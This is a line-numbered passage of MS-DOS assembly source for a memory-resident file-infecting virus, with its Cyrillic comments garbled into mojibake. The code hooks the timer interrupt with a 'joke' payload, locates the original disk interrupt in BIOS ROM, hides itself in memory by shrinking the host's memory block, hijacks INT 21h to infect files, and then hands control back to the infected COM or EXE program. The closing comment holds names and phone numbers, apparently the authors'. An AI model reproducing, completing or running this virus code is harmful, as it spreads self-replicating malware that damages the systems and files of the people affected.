  548.     push    ax            ; ºá»áºóá¡Ñ
  549.     push    bx
  550.     push    cx            ; ¡á
  551.     push    dx
  552.     push    si
  553.     push    di
  554.     push    bp
  555.     push    ds            ; ░Ñú¿▒▓░¿▓Ñ
  556.     push    es
  557.     xor    ax,ax            ; »«½│╖áóá¡Ñ ¡á
  558.     push    ax
  559.     pop    ds
  560.     cmp    word ptr ds:[1Ch*4],offset joke
  561.     je    next_way
  562.     mov    ax,ds:[46ch]
  563.     mov    dx,ds:[46ch+2]
  564.     mov    cx,0ffffh
  565.     div    cx
  566.     cmp    ax,10
  567.     jne    next_way
  568.     cli
  569.     mov    bp,word ptr ds:[450h]
  570.     call    push_spot
  571.     mov    ds:[450h],bp
  572.     les    ax,ds:[1ch*4]
  573.     mov    word ptr cs:[old_1ch],ax
  574.     mov    word ptr cs:[old_1ch+2],es
  575.     mov    word ptr ds:[1Ch*4],offset joke
  576.     mov    word ptr ds:[1Ch*4+2],cs
  577.     sti
  578. next_way:
  579.     pop    es
  580.     pop    ds
  581.     pop    bp
  582.     pop    di
  583.     pop    si
  584.     pop    dx
  585.     pop    cx
  586.     pop    bx
  587.     pop    ax
  588.     ret
  589. time_kill    endp
  590.  
  591.  
  592. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  593. ;
  594. ;        Subroutine for multiplication
  595. ;
  596. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  597.  
  598. sub_10        proc    near
  599.         mov    dx,10h
  600.         mul    dx                ; dx:ax = reg * ax
  601.         ret
  602. sub_10        endp
  603.  
  604.  
  605. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  606. ;
  607. ;             ? ? ? ? ? ? ? ?
  608. ;
  609. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  610. zero_regs    proc    near
  611.  
  612.     xor    ax,ax
  613.     xor    bx,bx
  614.     xor    cx,cx
  615.     xor    dx,dx
  616.     xor    si,si
  617.     xor    di,di
  618.     xor    bp,bp
  619.     ret
  620.  
  621. zero_regs    endp
  622.  
  623.  
  624. point1:                    ;
  625.     push    ds
  626.     call    kt1            ; ▓░¿¬ ºá
  627. kt1:                    ; ¿º╖¿▒½┐óá¡Ñ ¡á «▓¼Ñ▒▓óá¡Ñ▓«
  628.     mov    ax,4b00h + 'M'        ; ¡á kt1
  629.     int    21h
  630.     jc    stay
  631.     jmp    go_to_program        ;
  632. stay:                    ;
  633.     pop    si            ;
  634.     push    si            ;
  635.     mov    di,si            ;
  636.     xor    ax,ax            ; Zero register
  637.     push    ax            ;
  638.     pop    ds            ;
  639.     les    ax,ds:[13h*4]        ; (0000:004C=6E5h) Load 32 bit ptr
  640.     mov    cs:[si-comp13],ax    ; (64BB:06F4=9090h)
  641.     mov    cs:[si-comp13+2],es    ; (64BB:06F6=9090h)
  642.     les    bx,ds:[21h*4]
  643.     mov    word ptr cs:[di-comp21],bx     ; «▓¼Ñ▒▓óá¡Ñ
  644.     mov    word ptr cs:[di-comp21+2],es   ; ▒Ñú¼Ñ¡▓
  645.     mov    ax,ds:[102h]        ; (0000:0102=0F000h)
  646.     cmp    ax,0F000h
  647.     jne    loc_14            ; Jump if not equal
  648.     mov    dl,80h
  649.     mov    ax,ds:[106h]        ; (0000:0106=0C800h)
  650.     cmp    ax,0F000h
  651.     je    loc_7            ; Jump if equal
  652.     cmp    ah,0C8h
  653.     jb    loc_14            ; Jump if below
  654.     cmp    ah,0F4h
  655.     jae    loc_14            ; Jump if above or =
  656.     test    al,7Fh            ; ''
  657.     jnz    loc_14            ; Jump if not zero
  658.     mov    ds,ax
  659.     cmp    word ptr ds:[0],0AA55h    ; (C800:0000=0AA55h)
  660.     jne    loc_14            ; Jump if not equal
  661.     mov    dl,ds:[02h]        ; (C800:0002=10h)
  662. loc_7:
  663.     mov    ds,ax
  664.     xor    dh,dh            ; Zero register
  665.     mov    cl,9
  666.     shl    dx,cl            ; Shift w/zeros fill
  667.     mov    cx,dx
  668.     xor    si,si            ; Zero register
  669.  
  670. locloop_8:
  671.     lodsw                ; String [si] to ax
  672.     cmp    ax,0FA80h
  673.     jne    loc_9            ; Jump if not equal
  674.     lodsw                ; String [si] to ax
  675.     cmp    ax,7380h
  676.     je    loc_10            ; Jump if equal
  677.     jnz    loc_11            ; Jump if not zero
  678. loc_9:
  679.     cmp    ax,0C2F6h
  680.     jne    loc_12            ; Jump if not equal
  681.     lodsw                ; String [si] to ax
  682.     cmp    ax,7580h
  683.     jne    loc_11            ; Jump if not equal
  684. loc_10:
  685.     inc    si
  686.     lodsw                ; String [si] to ax
  687.     cmp    ax,40CDh
  688.     je    loc_13            ; Jump if equal
  689.     sub    si,3
  690. loc_11:
  691.     dec    si
  692.     dec    si
  693. loc_12:
  694.     dec    si
  695.     loop    locloop_8        ; Loop if cx > 0
  696.     jmp    short loc_14
  697. loc_13:
  698.     sub    si,7
  699.     mov    cs:[di-comp13],si    ; (64BB:06F4=9090h)
  700.     mov    cs:[di-comp13+2],ds    ; (64BB:06F6=9090h)
  701. loc_14:
  702.     mov    ah,62h
  703.     int    21h
  704.     mov    es,bx
  705.     mov    ah,49h                ; 'I'
  706.     int    21h                ; DOS Services    ah=function 49h,
  707.                         ;  release memory block, es=seg
  708.     mov    bx,0FFFFh
  709.     mov    ah,48h                ; 'H'
  710.     int    21h                ; DOS Services    ah=function 48h,
  711.                         ;  allocate memory, bx=bytes/16
  712.     sub    bx,vir_length/10h+2
  713.     jc    go_to_program            ; Jump if carry Set
  714.     mov    cx,es
  715.     stc                    ; Set carry flag
  716.     adc    cx,bx
  717.     mov    ah,4Ah                ; 'J'
  718.     int    21h                ; DOS Services    ah=function 4Ah,
  719.                         ;  change mem allocation, bx=siz
  720.     mov    bx,vir_length/10h+1
  721.     stc                    ; Set carry flag
  722.     sbb    es:[02h],bx            ; (FF95:0002=0B8CFh)
  723.     push    es
  724.     mov    es,cx
  725.     mov    ah,4Ah                ; 'J'
  726.     int    21h                ; DOS Services    ah=function 4Ah,
  727.                         ;  change mem allocation, bx=siz
  728.     mov    ax,es
  729.     dec    ax
  730.     mov    ds,ax
  731.     mov    word ptr ds:[01h],08h        ; (FEAD:0001=1906h)
  732.     call    sub_10
  733.     mov    bx,ax
  734.     mov    cx,dx
  735.     pop    ds
  736.     mov    ax,ds
  737.     call    sub_10
  738.     add    ax,ds:[06h]            ; (FF95:0006=0C08Eh)
  739.     adc    dx,0
  740.     sub    ax,bx
  741.     sbb    dx,cx
  742.     jc    allright            ; Jump if carry Set
  743.     sub    ds:[06h],ax            ; (FF95:0006=0C08Eh)
  744. allright:
  745.     mov    si,di            ;
  746.     xor    di,di            ; «▓¼Ñ▒▓óá¡Ñ ▒»░┐¼« ▒Ñú¼Ñ¡▓á
  747.     push    cs            ; │▒▓á¡«ó┐óá¡Ñ ¡á
  748.     pop    ds            ; ░Ñú¿▒▓░¿▓Ñ
  749.     sub    si,offset kt1 - offset entry_point   ; DS:SI
  750.     mov    cx,vir_length        ; ¿º╖¿▒½┐óá¡Ñ ░ẼÑ░á
  751.     inc    cx            ; ¡á ó¿░│▒á
  752.     rep    movsb            ; »░Ñ╡ó║░½┐¡Ñ ¡á ó¿░│▒á
  753.     mov    ah,62h
  754.     int    21h
  755.     dec    bx
  756.     mov    ds,bx
  757.     mov    byte ptr ds:[0],5ah
  758.     mov    dx,offset virus        ; DX - «▓¼Ñ▒▓óá¡Ñ ¡á ¡«ó¿┐ óѬ▓«░
  759.     xor    ax,ax
  760.     push    ax
  761.     pop    ds
  762.     mov    ax,es
  763.     sub    ax,10h
  764.     mov    es,ax
  765.     cli
  766.     mov    ds:[21h*4],dx
  767.     mov    ds:[21h*4+2],es
  768.     sti
  769.     dec    byte ptr ds:[47bh]
  770. go_to_program:                ;
  771.     pop    si            ; ºá░Ѫñá¡Ñ ¡á SI «▓ ▒▓Ѭá
  772.     cmp    word ptr cs:[si-compbuff],'ZM'
  773.     jnz    com_ret
  774.  
  775.  
  776. exe_ret proc    far
  777.  
  778.     pop    ds
  779.     mov    ax,word ptr cs:[si-comp_code]
  780.     mov    bx,word ptr cs:[si-compbuff1+2]
  781.     push    cs
  782.     pop    cx
  783.     sub    cx,ax
  784.     add    cx,bx
  785.     push    cx
  786.     push    word ptr cs:[si-compbuff1]
  787.     push    ds
  788.     pop    es
  789.     call    zero_regs        ; ¡│½¿░á¡Ñ ¡á ░Ñú¿▒▓░¿▓Ñ
  790.     ret
  791.  
  792. exe_ret endp
  793.  
  794.  
  795. com_ret:
  796.     pop    ax
  797.     mov    ax,cs:[si-compbuff]    ;
  798.     mov    cs:[100h],ax        ; ó║º▒▓á¡«ó┐óá¡Ñ
  799.     mov    ax,cs:[si-compbuff+2]    ; «░¿ú¿¡á½¡¿▓Ñ
  800.     mov    cs:[102h],ax        ; ¿¡▒▓░│¬╢¿¿
  801.     mov    ax,100h            ; »«ú«▓«ó¬á ¡á áñ░Ñ▒ CS:100
  802.     push    ax            ; áñ░Ñ▒ ¡á ó░║╣á¡Ñ cs:ax
  803.     push    cs            ; ó║º▒▓á¡«ó┐óá¡Ñ ¡á
  804.     pop    ds            ; DS
  805.     push    ds            ; ¿
  806.     pop    es            ; ES
  807.     call    zero_regs        ; ¡│½¿░á¡Ñ ¡á ░Ñú¿▒▓░¿▓Ñ
  808.     ret                ; »░Ñ╡«ñ ó ¡á╖Ὣ▓« ¡á »░«ú░á¼á▓á
  809. endpr:                    ; ¬░á⌐ ¡á »░«╢Ññ│░á▓á
  810.  
  811. code    ends                ; ¬░á⌐ ¡á »░«ú░á¼á▓á
  812.     end    entry_point        ; ó╡«ñ¡á ▓«╖¬á »░¿ ▒▓á░▓¿░á¡Ñ
  813.  
  814. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  815. ;    ƒ¡¿ ï╛í«¼¿░«ó ü░ᡬ«ó , î¿╡á⌐½«óú░áñ  │½."â.äá¼┐¡«ó"  6
  816. ;              , ▓ѽ.2-13-34
  817. ;    ï╛í«¼¿░ îá▓ÑÑó îá▓ÑÑó , æ«┤¿┐  │½."ü│ñá»Ñ╣á" 14
  818. ;              , ▓ѽ.80-28-26
  819. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  820.